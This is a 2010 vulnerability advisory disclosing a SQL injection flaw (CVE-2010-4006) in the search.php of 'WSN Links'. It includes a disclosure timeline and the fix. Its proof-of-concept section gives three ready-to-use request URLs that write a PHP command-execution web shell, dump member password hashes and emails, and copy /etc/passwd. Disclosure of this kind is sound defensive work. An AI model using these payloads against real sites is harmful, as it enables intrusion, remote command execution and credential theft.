'WSN Links' SQL Injection Vulnerability (CVE-2010-4006)

2010-11-02T00:00:00
ID SECURITYVULNS:DOC:25040
Type securityvulns
Reporter Securityvulns
Modified 2010-11-02T00:00:00

Description

'WSN Links' SQL Injection Vulnerability (CVE-2010-4006) Mark Stanislav - mark.stanislav@gmail.com

I. DESCRIPTION

A vulnerability exists in the search.php code that allows for SQL injection of various parameters. By assembling portions of SQL code between the affected parameters, successful SQL injection into the software can occur. In the testing done, various 'UNION SELECT' SQL injections can occur.

II. AFFECTED VERSIONS

< 6.0.1; < 5.1.51 ; < 5.0.81

III. TESTED VERSIONS

5.1.40 & 5.1.49

IV. PoC EXPLOITS

1) A 'UNION SELECT' which results in a PHP shell-execution script http://example.com/search.php?namecondition=IS%20NULL))%20UNION%20((SELECT%20"<?php%20system($_REQUEST[cmd]);%20?>"%20INTO%20OUTFILE&namesearch=/var/www/exec.php&action=filter&filled=1&whichtype=categories

2) A 'UNION SELECT' which results in a member's name, password hash, and e-mail to be extracted to a file http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20concat(name,0x3a,password,0x3a,email)%20FROM%20wsnlinks_members%20INTO%20OUTFILE&namesearch=/var/www/pass.txt&action=filter&filled=1&whichtype=categories

3) A 'UNION SELECT' which results in the /etc/passwd file being copied to a web directory file http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20load_file(0x2f6574632f706173737764)%20INTO%20OUTFILE&namesearch=/var/www/passwd.txt&action=filter&filled=1&whichtype=categories

V. NOTES

  • The above exploits require 'FILE' SQL privilege as well as poor web directory permissions to work.
  • Only 'namecondition' and 'namesearch' are utilized for the actual SQL injection.
  • There is potential to exploit this vulnerability which outputs user data directly to the browser.
  • Passing 'debug=1' as a query value easily enables debug mode of tested 'WSN Links' deployments.

VI. SOLUTION

Upgrade to the most recent version of your 'WSN Links' code branch.

VII. REFERENCES

http://www.wsnlinks.com/ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4006 http://www.uncompiled.com/2010/10/wsn-links-sql-injection-vulnerability-cve-2010-4006/

VIII. TIMELINE

10/10/2010: Initial discloure e-mail to the vendor 10/18/2010: Follow-up via the vendor's contact web form 10/18/2010: Vendor acknowledgement/commitment to fix 10/21/2010: Patched versions released 10/31/2010: Public disclosure